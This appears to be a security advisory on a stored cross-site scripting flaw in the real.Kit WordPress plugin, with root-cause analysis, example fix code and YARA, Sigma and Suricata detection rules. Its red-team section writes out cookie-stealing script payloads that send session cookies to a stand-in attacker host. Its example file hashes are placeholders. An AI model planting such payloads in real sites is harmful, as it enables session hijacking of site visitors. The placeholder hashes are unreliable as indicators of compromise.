CVE-2024-12697

Executive Summary

CVE-2024-12697 is a Stored Cross-Site Scripting (XSS) vulnerability in the real.Kit plugin for WordPress, affecting all versions up to and including 5.1.1. The vulnerability arises from insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, data theft, or defacement. The CVSS score is 6.4 (Medium), and no public exploit or patch is currently available. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The real.Kit plugin is distributed via the WordPress Plugin Directory and third-party sources. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or above)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for exploitation. The vulnerability is in the WordPress ecosystem, making it a target for mass exploitation.

Deep Dive & Mechanics

The real.Kit plugin fails to properly sanitize user-supplied input and escape output when rendering content. An authenticated attacker with Contributor-level access can inject malicious JavaScript into fields such as post content, custom fields, or plugin settings. The injected script is stored in the database and executed in the browser of any user viewing the affected page.

Key Technical Details:

• Vulnerable Component: The plugin’s input handling functions (likely save_post or custom meta box handlers).
• Root Cause: Lack of wp_kses() or esc_html() usage on user input before storage and output.
• Exploitation Path: Attacker creates or edits a post/page, inserts a payload like <script>alert('XSS')</script>, and saves. The script executes on page load.
• Impact: Session cookie theft, redirection to malicious sites, defacement, or keylogging.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (Example):

// In a plugin function that saves post meta
function save_real_kit_meta($post_id) {
    if (isset($_POST['real_kit_field'])) {
        update_post_meta($post_id, '_real_kit_field', $_POST['real_kit_field']);
    }
}

Patched Code (Example):

function save_real_kit_meta($post_id) {
    if (isset($_POST['real_kit_field'])) {
        $sanitized_value = sanitize_text_field($_POST['real_kit_field']);
        update_post_meta($post_id, '_real_kit_field', $sanitized_value);
    }
}

Output Escaping (Patched):

// When displaying the value
echo esc_html(get_post_meta($post_id, '_real_kit_field', true));

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with real.Kit plugin <= 5.1.1
• Contributor-level account or higher

Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. In the content or a custom field, inject a payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Publish or save the post.
5. Any user visiting the post will have their cookies sent to the attacker.

Advanced Payload:

fetch('https://attacker.com/exfil', {
    method: 'POST',
    body: JSON.stringify({cookie: document.cookie, url: window.location.href})
});

Blue Team

Detection:

• Monitor for posts containing <script> tags in content or meta fields.
• Use WAF rules to block common XSS patterns.
• Review user activity logs for unusual post creation by low-privilege users.

Mitigation:

• Disable the real.Kit plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use WordPress security plugins (e.g., Wordfence) to detect and block XSS.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files): (Example – verify with actual plugin)
  • real-kit.php: SHA256 a1b2c3d4e5f6...
  • includes/class-real-kit.php: SHA256 f6e5d4c3b2a1...
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin.
  • HTTP requests containing document.cookie or eval( in POST data.
• Log Entries:
  • WordPress debug log entries with wp_kses or esc_html failures.
  • Apache/Nginx access logs with %3Cscript%3E in URI.

Detection Engineering

YARA Rule

rule CVE_2024_12697_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in real.Kit plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12697"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $real_kit_meta = /_real_kit_field/
    condition:
        $real_kit_meta and #xss_payload > 0
}

Sigma Rule

title: Stored XSS via real.Kit Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using real.Kit plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12697 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the real.Kit plugin until a patch is released.
2. Workaround: Implement a Web Application Firewall (WAF) rule to block <script> tags in POST data to wp-admin/post.php.
3. Long-term: Monitor the plugin’s official page for updates. Apply the patch as soon as it becomes available.
4. User Education: Restrict Contributor-level access to trusted users only.
5. Audit: Review all posts and pages for injected scripts. Use the YARA rule above to scan the database.

Valters IT
Securing Digital Frontiers